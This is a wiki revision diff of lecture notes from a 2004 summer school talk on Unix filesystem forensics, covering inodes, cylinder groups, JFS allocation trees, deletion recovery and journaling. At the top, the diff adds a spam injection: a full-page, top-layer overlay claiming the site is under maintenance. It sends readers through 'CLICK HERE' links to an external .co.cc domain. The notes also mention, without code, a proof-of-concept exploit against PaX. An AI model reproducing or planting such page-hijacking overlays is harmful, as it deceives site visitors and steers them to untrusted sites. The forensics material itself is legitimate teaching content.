Difference between revisions of "Summerschool Aachen 2004/Forensics Presentation"
m (Reverted edit of 209.66.124.150, changed back to last version by Tobias) |
Oxudocopaj (talk | contribs) |
||
Line 1: | Line 1: | ||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ezemitekywe.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://ezemitekywe.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> | ||
= noted on the coffee table talk = | = noted on the coffee table talk = | ||
Revision as of 09:07, 24 November 2010
noted on the coffee table talk
The page where you can find out the amount of randomness used for randomization of the stack, libraries, ... is here
The proof of concept exploit to break pax can be found here
Notes on Presentations
Basics
lsof -n -P -p 24315
Advanced UNIX File System Overview
- jfs developed in the late 80
- xfs, historic background: media servers
- reiserfs
- veritas VxFS, hpux upgrade, snapshots for consistent backups
Techniques
- variable allocation units
- binary trees instead of linear tables
- journaling
software
- EnCase (support reiserfs), police background
- no public software for VxFS,JFS,XFS known
actual data vs. meta data
- search allocated disk blocks, partly allocated blocks (slack), unallocated for deleted data
- generate timeline, deleted filenames, hidden files from metadata
- forensic software should not link to anything, should not rely on os, live analysis without bringing down system
Classic Unix Filesystems
original unix fs
- superblock, inode list, user data
- superblock: layout information
- inode list: meta data container, name,size,blocks
- recently freed inode list
- linear layout, slow, fragmentation, simple split between data/metadata
indirect block addressing basics
- 12 direct blocks and the 13/14 block are (double) indirect blocks
- inodes have fixed length
- indirect block itself is a single disk block, completely devoted to allocating real data
- flexible, unefficient
berkeley fast file system
- (~ext2,ffs) solaris freebsd
- BOOK moris bach, unix filesystem design
- cylinder groups, placement policies, superblock backup copies, fragmentation
cylinder groups
- cylinder groups, reach data without physical hd head movement
- metadata per cylinder group (cg): superblock, cg header, inode list
- maintain locality, one directory should stay in one cg
- number of cg stored in superblock
- linux ext2 calls cylinder groups "block groups"
- inodes are on fixed position on disk, ok for forensics
- inodes don't get reused immediatly, undelete possible
fragmentation
- not in ext2
- block size: small files vs large files problem, i.e.: space vs. speed
- 4k blocks get fragmented, blocks don't get numbered anymore, fragments do
- file a (9kb) in frags: 0,4,8 -> last block full or not, determined by file size and last fragment number
- if file grows it has to be copied
- inode 2 always = root directory
superblock
- dirty flag, used in mount, umount
- has magic string
- read only at most times, size information
Layers
- file system sub layer
- data unit
- inode
- human interface
Advanced Filesystems / JFS
variable block size
- contiguosly stored data, nice
- less meta data
- acl in inode 3
Allocation Trees
- 16 extents (like 12 block addresses in berkeley) (256gb?)
- 17 extent starts tree, replaces 16 ext. in header with tree root
- tree needed for fragmented files, sparse files
- sparse files contain big empty holes which don't count on used diskspace, used for: db, uml, copy on write
- extent header: offset, length
Deletion
- meta data from deleted files stays on disk until reuse
- solaris, hpux follow tree to zero out deleted files inodes
- lazarus perl: reassemble blocks without allocation data
- filenames survive deletion in jfs, length may be recovered
Directory Entries
- 8 dirs fit in one jfs inode (9th slot starts tree)
- linear linked list
- tree keyed by name
- directories are b+ trees
dynamic inode allocation
- inode number was fixed
- static alloc (cg) doesn't work well with big video
- inode lists are files (journal too)
- inode files start directly after superblock (?), at fixed position
forensics
- inode reuse is uncommon for other fs
- inode file may be overwritten
meta data
- filesystem is a file in the meta file system (...)
- inode number is stored inside inode file (easy cloning)
Journaling
- viewer: jfsutils
- kept in a file or separate partition
- provide "time machine"